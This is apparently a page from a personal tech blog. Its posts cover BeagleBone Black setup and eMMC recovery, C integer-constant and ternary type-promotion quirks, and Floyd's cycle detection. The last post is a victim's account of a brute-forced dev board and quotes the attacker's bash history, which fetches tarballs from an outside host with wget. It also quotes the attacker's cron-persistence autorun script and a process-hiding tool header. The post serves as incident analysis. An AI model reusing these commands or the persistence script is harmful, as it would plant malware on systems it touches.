Jul 26 2015

Ender Dai

BeagleBone Black Setup and Recovery

Setup

BeagleBone Black (BBB) comes with an USB Type A to Mini-B cable. So in order to power up BBB, the easiest way is to connect Mini-B head to BBB connector P4 and then Type A head to a computer USB port. The benefit of using this cable instead of a 5V@1A DC adapter is two fold:

  1. BBB doesn’t come with the 5V@1A DC adapter
  2. We can use the Ethernet-over-USB feature, which is very convenient

Unlike BeagleBone (BB), BBB doesn’t install FT2232H on board, we can confirm this by comparing the BOM/Schematic of BB and BBB. So there is no way for us to do serial/JTAG-over-USB like with BB. In addition to that, JTAG header is also not installed on BBB, therefore unless installing the header by ourselves, there is no way to use JTAG on BBB. Now for serial debug, the option left for BBB is to use an USB-to-TTL cable. My personal favorite is PL2303 based 4-pin cable like this one. The color code of the pins and their functions are listed below:

Color Function Connect To
Red +5V no use
Black GND BBB J1 Pin1
Green RXD BBB J1 Pin4
White TXD BBB J1 Pin5

The default UART configuration is 115200 8N1, no flow control.

Boot Options

AM335x ROM code (or firmware, if you want to call it that way) samples SYSBOOT[15:0] configuration pins during power on reset (i.e. cold reset). A device list is created based on sampled value. ROM code will try devices in the list one by one until it finds a bootable image. BBB latches SYSBOOT[15:0] as 0x403C, but SYSBOOT[2] can be flipped from 1 to 0 by holding button S2. So, when S2 is released, the boot device list will be eMMC -> microSD -> UART0 -> USB0; when S2 is hold, the boot device list will be microSD -> USB0 -> UART0. Here UART0 is the serial debug port and USB0 is the Mini-B USB port which is used as power source in our current setup.

The ROM code implements the RNDIS class driver. When USB0 is selected as boot device and HOST OS has RNDIS device driver installed, an Ethernet-over-USB channel will be established between BBB and the host, which enables the ROM code to talk with HOST OS via BOOTP protocol and download the image to the SRAM using TFTP. Considering that the reset button S1 performs warm reset only, the only way to initiate a cold reset it to re-apply the power. This fact implies that after we holding S2 and re-apply the power, if the microSD card is not installed, then BBB will always try to boot from USB0 first after we pressing the reset button S1. This is very convenient if we are going to do some baremetal programming.

For more detailed information, see BBB Rev C schematic page 6 and AM335x TRM 26.1.5.

One way to setup bootp/tftp under Linux is to use dnsmasq package. Following configuration should work out of the box after replacing 12:34:56:78:9a:bc with the actual MAC of the BBB. But be aware that the MAC used by ROM code is not necessarily the same as what we get from ifconfig under BBB Linux. We might need to use wireshark or tcpdump to get this MAC. The dhcp-host line is essential because BOOTP uses a fixed mapping between MAC and IP.

# disable DNS
port = 0

# tftp server
enable-tftp
tftp-root = /srv/tftp

# dhcp
dhcp-range = 10.0.0.100,10.0.0.200,12h
dhcp-host  = 12:34:56:78:9a:bc,10.0.0.100
dhcp-boot  = smiley

The configuration above is not enough. We should give the host side interface an IP address. Add following snippet to /etc/network/interfaces shall do the trick. Remember to replace enx123456789abc with the real interface name.

allow-hotplug enx123456789abc

iface enx123456789abc inet static
    address 10.0.0.1
    netmask 255.255.0.0

When the host side RNDIS driver detects the new RNDIS device, it creates a new interface. This event triggers some udev rule which calls ifup --allow=hotplug with the new interface name. The configuration above will then take effect and give that interface a static IP address.

Recovery

We can use the microSD card to recover corrupted on board eMMC, or perform the on board Linux system upgrade. The steps are straightforward:

  1. Download a new image from BBB official site
  2. Write the image to a microSD card with dd
  3. Boot from the microSD card
  4. Modify /boot/uEnv.txt to un-comment the line #cmdline=init=/opt/scripts/tools/eMMC/init-eMMC-flasher-v3.sh
  5. Reboot, and it will start to flash the eMMC. Status message will be dumped to UART0
  6. Remove the microSD card after the flashing is finished

Jul 16 2015

Ender Dai

Definition of INT_MIN

It is well known that a 32bit int can represent integer domain [-2147483648, 2147483647]. Look into /usr/include/limits.h, we can find the definition for constant INT_MIN and INT_MAX:

INT_MAX looks pretty straightforward, but INT_MIN is a little bit weird. Why it is not defined like this:

Well, the question arise because of the wide spread confusion between integer constant and constant expression. The C standard says:

An integer constant begins with a digit, but has no period or exponent part. It may have a prefix that specifies its base and a suffix that specifies its type.

A decimal constant begins with a nonzero digit and consists of a sequence of decimal digits. An octal constant consists of the prefix 0 optionally followed by a sequence of the digits 0 through 7 only. A hexadecimal constant consists of the prefix 0x or 0X followed by a sequence of the decimal digits and the letters a (or A) through f (or F) with values 10 through 15 respectively.

Read it carefully and you will realize that the standard doesn’t mention the sign. So -2147483648 is not an integer constant. Instead, it is a constant expression consisting of unary minus operator - and integer constant 2147483648. To be more clear, the AST (Abstract Syntax Tree) of -2147483648 should be (A) below instead of (B).

Now what do we have? An integer constant 2147483648. This looks suspicious as it is bigger than INT_MAX and can not be represented by int. So what should be its type? The C standard says:

The type of an integer constant is the first of the corresponding list in which its value can be represented.

For unsuffixed decimal, the list is

  • C89: int, long int, unsigned long int
  • C99: int, long int, long long int

So 2147483648 is unsigned long int in C89. The standard also says:

The result of the unary - operator is the negative of its (promoted) operand. The integer promotions are performed on the operand, and the result has the promoted type.

It means the negation of unsigned type is still unsigned. Try this:

Therefore -2147483648 is unsigned long int in C89, which is obviously not what we want.

In C99, 2147483648 is long long int, so -2147483648 is long long int as well, which is also not what we want.

Try this out with both C89 and C99 and see the difference.

Reference

  1. SO question 1 and question 2
  2. http://www.hardtoc.com/archives/119

Jul 15 2015

Ender Dai

Single linked list with circle

This is a classical interview question, but it is very useful in practice as well. So let’s discuss it here in detail. The problem is like this:

Given a single linked list, how to determine whether it has a circle or not?

The solution is intuitive: point two pointers, fast and slow, to the head of the list, then use them simultaneously to traverse the list. fast and slow advance m and n steps each time respectively, . If slow catches up with fast before fast reaches the end of the list, we can claim that there is a circle in the list.

It is obvious that slow will never catch up with fast if the list has no circle, i.e. . Now let’s prove that slow will finally catch up with fast if the list indeed has a circle, i.e. .

Suppose the list is composed of a linear part and a circle, the length of which are l and c respectively. Assume slow catches up with fast in s steps, then we have . Put this in another way:

Solve the equation we get

There is nothing to stop us to pick up p and q such that . So s has at least one solution, , which satisfies all the constrains below:

Therefore slow will catch up with fast in steps, though this is not necessarily the first time they meet again.

So we just proved . Now comes the follow up question:

How to find the beginning of the circle?

Let A be the head of the list, B be the beginning point of the circle, and C be the catch up point of slow and fast, then the list looks like this:

If we choose m=2 and n=1, solve the equation above we can get l+r=(p-2q)c. Let α=p-2q, then l+r=αc, l=αc-r=(α-1)c+k. Now we put a pointer p0 on A, a pointer p1 on C, then advance them 1 step every time. After k steps, p0 is (α-1)c steps away from B, but p1 reaches B already. Therefore, after (α-1)c more steps, p0 and p1 meet with each other on B.

Reference

  1. Floyd’s cycle-finding algorithm (or “tortoise and the hare algorithm”)

Jul 15 2015

Ender Dai

Ternary operator madness

Life is full of surprise. Things get even messier with implicit type conversion. Let’s talk about the ternary operator (or conditional operator) ?: in C.

What is the value of 1?-1:1? It is obvious, isn’t it? How about 1?-1:1U? “The same”, I hear your voice. So (1?-1:1)==(1?-1:1U) must be true, as well as (1:-1:1)<0 && (1:-1:1U)<0. If you believe that is the truth here, try it out and you will be surprised. (No I will not paste the answer here, try it out by yourself so you can remember:)

So the problem here is obviously caused by U, which is the only difference between those two expressions. -1 and 1 are int, while 1U is unsigned int. When we mix them together in an expression, int will be promoted to unsigned int. So actually we get -1 for 1?-1:1 but (unsigned int)-1 for 1?-1:1U. Now everything is clear: this is all about type promotion. Nigel Jones wrote an essay1 on this topic in which he provided another interesting example:

Why do we need the type promotion in this case? Can we just return -1 or 1U for cond?-1:1U? One way to think about this is that C is statically typed. The type of cond?-1:1U is determined in compile time. It can not be “either int or unsigned int”. We need to cast/promote one type to another and from int to unsigned int is the nature choice. It is an error if the type casting can not be performed in a meaningful way. For example, if a is int and b is struct, then compiler will give us an error for cond?a:b.

At last, as a bonus point, ?: in C is slight different from in C++2. ?: can return a lvalue in C++ but not in C. That is to say, the snippet below is valid only for C++.

However, changing a to be unsigned int makes the code invalid even for C++:

Here b will be cast to unsigned int. An intermediate variable must be created to store the casting result. Why? Consider the case when we cast from char to int, the original variable can not be reused because it is not long enough to hold an int. As there is no way for programmer to reference the intermediate variable, it is meaningless to allow it can be used as lvalue. In general, (int)a=1; is invalid for both C and C++.

Reference

Sep 7 2013

Ender Dai

Been HACKED!

Recently my Kayla development board cannot get correct DHCP address for some reason. I sent an email to sysadmin. They replied that an alert was triggered on their IDS and my board was believed has been compromised, so they blocked it:

> 128.223.6.140 triggered alerts when it grabbed files from
> superuser.clan.su.  We have identified this type of activity as being
> similar to activity that occurred with a server, during that the same
> timeframe, that was confirmed as being successfully SSH brute
> forced.
>
> Based on the available data 128.223.6.140 likely has an account, with
> a weak password, that was successfully brute forced.
>
> Please block this system on the CIS network until the system
> administrator can investigate the issue.  If you are unable to block
> the system please update this ticket and I'll block the IP address on
> the campus network. IDS alert data is available below.  Timestamps
> are local TZ.

SH*T! Kayla comes with an factory default Ubuntu. There is a default user ubuntu with password ubuntu, which is indeed WEAK. I am aware of that but didn’t take it seriously: Kayla is just an embedded system which contains no critical data, and I thought I won’t be so unlucky to be the prey.

It turns out I was wrong.

Do tell your son the world is dangerous.

I am curious what has been done on Kayla. Looks like the hacker didn’t bother to erase his footprint in ~/.bash_history:

1399 w
1400 uptime
1401 cd /var/tmp
1402 ls -a
1403 mkdir ". "
1404 cd ". "
1405 wget superuser.clan.su/hu.tgz
1406 tar zxvf hu.tgz
1407 rm -rf hu.tgz
1408 cd .m
1409 ls
1410 nano zmeu.ini
1411 vi zmeu.ini
1412 ./autorun
1413 ./run
1414 uname -a
1415 cd ..
1416 rm -rf .m
1417 wget superuser.clan.su/miau.tgz
1418 tar zxvf miau.tgz
1419 rm -rfm i
1420 cd .us
1421 rm -rf miau.tgz
1422 cd .usr/
1423 ls
1424 vi miaurc
1425 ./h -s /usr/sbin/sshd ./init -d /var/tmp/". "/.usr
1426 cd ..
1427 ls -a
1428 rm -rf .usr/
1429 wget superuser.clan.su/psybnc-linuxRO.tgz
1430 tar zxvf psybnc-linuxRO.tgz
1431 rm -rf psybnc-linuxRO.tgz
1432 mv psybnc/ .p
1433 cd .p
1434 ls
1435 chmod 777 *
1436 chmod +X *
1437 ls
1438 ps x
1439 ps -aux
1440 mv ntpd lightdm
1441 ./lightdm
1442 uname -a

Hmmm… A directory named . (dot space)? Interesting.

zmeu.ini? Google tells me ZmEu is an exploit scanner. I downloaded the hu.tgz, unpacked and had a quick check:

$ file autorun
autorun: POSIX shell script, ASCII text executable
$ cat autorun
#!/bin/sh
pwd > zmeu.dir
dir=$(cat zmeu.dir)
echo "* * * * * $dir/update >/dev/null 2>&1" > zmeu.cron
crontab zmeu.cron
crontab -l | grep update
echo "#!/bin/sh
if test -r $dir/zmeu.pid; then
pid=\$(cat $dir/zmeu.pid)
if \$(kill -CHLD \$pid >/dev/null 2>&1)
then
exit 0
fi
fi
cd $dir
./run &>/dev/null" > update
chmod u+x update

OK, he installed a cron job.

ubuntu@kayla:~$ crontab -l
* * * * * /var/tmp/. /.m/update >/dev/null 2>&1

Now what’s in ./run?

$ file run
run: POSIX shell script, ASCII text executable
$ cat run
#!/bin/sh
export PATH=.
-sh
$ file -- -sh
-sh: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.1, not stripped

So he invoked a (most likely customized) shell, and what has been done under this shell is unknown to me.

miau.tgz? Google says miau is an “IRC-bouncer/proxy”. So the hacker want some IRC bot? 1419~1422 looks like some typo to me. Don’t panic, dude.

I am wandering what is ./h. Luckily there is a h.c which I guess is the source code for ./h in the tarball.

$ file h
h: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.4.1, not stripped
$ head h.c
/*

psf -- Process Stack Faker (a.k.a. Fucker)
Coded by Stas; (C)opyLeft by SysD Destructive Labs, 1997-2003

Tested on: FreeBSD 4.3, Linux 2.4, NetBSD 1.5, Solaris 2.7

Compile with:
# gcc -O2 -o h h.c
# strip h

Good, typical hacker tool.

Next tarball is psybnc-linuxRO.tgz which turns out to be yet another IRC bouncer. Why did he need two IRC bouncer? I doubt I can figure out the reason.

OH BOY! WAIT! DID I MENTION THAT KAYLA IS AN ARM BASED SYSTEM?

ubuntu@kayla:~$ uname -a
Linux kayla 3.1.10-carma #1 SMP PREEMPT Wed Jul 10 12:53:50 CEST 2013 armv7l armv7l armv7l GNU/Linux

All the binaries the hacker downloaded in the tarball are for Intel x86!

I believe this is what the hacker was thinking about when he saw the output of uname -a (line 1442):

WTF!!!

This makes me feel much better :D

PREV 1/2 NEXT